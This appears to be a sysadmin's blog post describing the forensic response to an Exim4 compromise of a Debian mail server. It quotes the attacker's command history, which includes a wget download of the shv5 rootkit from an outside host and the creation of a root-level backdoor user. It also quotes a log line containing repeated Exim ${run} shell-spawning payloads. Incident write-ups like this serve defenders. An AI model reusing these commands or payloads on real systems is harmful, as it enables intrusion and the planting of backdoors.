A few days ago, I received one alarm from one mail list server under my management. /etc/password
file had been modified. In fact, my system had been broke down and somebody was modifying
my server at will. Fortunetly, I often configure my monitor system to check
md5 variations in important files of the system.
Quickly, I logged on the host and, shaw the next commands executed as
root on my server:
id pwd cd .. cd .. ls rm -rf * ls wget \freewebtown.com/zaxback/rk.tar tar xzvf rk.tar cd shv5 ./setup 54472Nx79904 9292 ls pwd ls /usr/sbin/useradd -u 0 -g 0 -o mt passwd mt
The hacker had installed something on my server and I had to discover what! …
The downloaded package, rk.tar (http://freewebtown.com/zaxback/rk.tar) contained a
the badware trojan called shv5. This mainly was a backdoor and a suite of fake
system libraries and binaries changed maliciously.
The first task in the TODO list was check if somebody else was conected yet
in the system and, at least review review the auth.log to known to IP which
was the ofrigin of the attack.
Once detected the hacker’s IP and confirmed my suspicion about the origin of the
attack: a windows infected host (a zombie), I decided that
follow the tracks of the hacker was time to lose, so I began to check
the scope of intrusion.
Reviewing the rk.tar package and the setup.sh script I got to make a list
of posible infected files on my server:
/sbin/xlogin /bin/login /etc/sh.conf /bin/.bash_history /lib/lidps1.so /usr/include/hosts.h /usr/include/file.h /usr/include/log.h /usr/include/proc.h /lib/libsh.so /lib/libsh.so/* /usr/lib/libsh /usr/lib/libsh/* /sbin/ttyload /usr/sbin/ttyload /sbin/ttymon /etc/inittab /usr/bin/ps /bin/ps /sbin/ifconfig /usr/sbin/netstat /bin/netstat /usr/bin/top /usr/bin/slocate /bin/ls /usr/bin/find /usr/bin/dir /usr/sbin/lsof /usr/bin/pstree /usr/bin/md5sum /sbin/syslogd /etc/ttyhash /lib/ldd.so /lib/ldd.so/* /usr/src/.puta /usr/src/.puta/* /usr/sbin/xntpd /usr/sbin/nscd /usr/info/termcap.info-5.gz /usr/include/audit.h /usr/include/bex /usr/include/bex/* /var/log/tcp.log /usr/bin/sshd2 /usr/bin/xsf /usr/bin/xchk /dev/tux /usr/bin/ssh2d /lib/security/.config/ /lib/security/.config/* /etc/ld.so.hash /etc/rc.d/rc.sysinit /etc/inetd.conf
I noted that many importat commands of the system has been changed for others
non-safe commands. The reason was obviously: Hide the Troyan!. Also, the
badware had modified attributes of infected files to avoid modifications
(chattr +isa /usr/sbin/netstat, for example).
Inmediatly, I decided the reinstallation of the main binaries and libraries
of the system:
apt-get install --reinstall net-tools coreutils
After recover safe versions of commands like netstat, md5sum, ls or similars,
I began to see what was really happen on the system:
- A keylogger was up on the system:
root 7469 0.0 0.0 1804 652 ? S 14:55 0:00 ttymon tymon tcp 0 0 0.0.0.0:9292 0.0.0.0:* LISTEN 7467/ttyload
- A hide HTTP/FTP server was running:
103 7671 0.1 0.1 4936 2968 ? S 14:58 0:18 syslogr root 10886 0.0 0.0 11252 1200 ? Sl 17:39 0:00 /usr/sbin/httpd tcp 0 0 0.0.0.0:64842 0.0.0.0:* LISTEN 7424/httpd
syslogr process wasn’t nothing related to the syslog system. It was a process
which launched the hide HTTP/FTP service to share files … files of the infected server.
I addition, syslogr proccess was relaunched by a root cronjob to keep up
this proccess on the system.
# crontab -l * * * * * /.../bin/cron.sh >/dev/null 2>&1
More things!, as you can observe in the cron job, somebody was created a hide
directory under / directory: /... . This directory contained the httpd
binaries and conffiles and directories used by the httpd process.
After sometime working on the server, I’d done the follow actions in order
to revoke all the security breaks detected:
- I’d reinstalled all the binaries and libraries posible non-safe after the atack.
- I’d erased bad process on the system aka syslogr, ttymon … and cronjobs or others
ways to keep up these. - I’d deleted the user mt with the uid=0
- I’d reviewed the SSH access to the server on the main firewall
…
6 coffees later, I reached one diagnostic more detailled about what was happen
… and there wasn’t good news š¦
On December 16, the server had been hacked through a vulnerability discovered
on the Exim4 service and reported on Debian Security Reports on December 10:
This vulnerability allowed remote execution of arbitrary code and a privilege
escalation. This allowed to the attacker to inject public keys for the root
user.
2010-12-16 20:47:25 1PTJj8-0006K2-Ck rejected from H=trbearcom.com.au (yahoo.com) [131.103.65.196]: message too big: read=52518119 max=52428800
2010-12-16 20:48:25 H=trbearcom.com.au (yahoo.com) [131.103.65.196] temporarily rejected MAIL webmaster@yahoo.com: failed to expand ACL string "/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/b
in/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh
-i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run
{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin
/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${
run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /
bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}}
${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exe
c /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&
0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c '
exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0
2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -
c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/s
h -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i
&0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bi
n/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh
-i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{
/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/
sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${
run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /b
in/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}
} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec
/bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${r
2010-12-16 20:49:06 1PTJp4-0006Kx-E5 sistemas-srv R=mailman_router T=mailman_transport
The attack could have been controlled at this point but missed two
things:
- Monitorization root authorized keys file it could not see
the changes due it didn’t have permission to access it so the monitor
didn’t report anything. - At sometime, the SSH restriction access was removed.
These facts allowed that the attack continues hidden until Janury 9. I lose!!!
As a summary, the timing of the attack is as follows:
- December 10, Exim vulnerability discovered an published
NM/09 Bugzilla 787: Potential buffer overflow in string_format Patch provided by Eugene Bujak
- December 16, a large-scale attack is performed using this vulnerability where my host is break down from trbearcom.com.au (yahoo.com) [131.103.65.196]. In this attack it’ll incorporate public key of the attacker root
- December 26, the attacker inserts a Trojan into my host
- January 9, the attacker inserts a keylogger and attempts to hide editing system tools. During this attack, my monitors notified the /etc/password file is changed
Finally, I knew how to the attacker had break down my server and things which I’d to fix, so I ‘d make the following actions in order to restore the security of may server:
- Updated the system to lenny:
- Edit the
/etc/apt/sources.listfile fixing the repositories to lenny - sudo aptitude update
- sudo aptitude install apt dpkg aptitude
- sudo aptitude full-upgrade
- Edit the
- Upgrading from Exim to 4.72 + backports lenny
- http://backports.debian.org/Instructions/
- sudo aptitude install exim4=4.72-3~bpo50+1
More references:
503: Service Unavailable 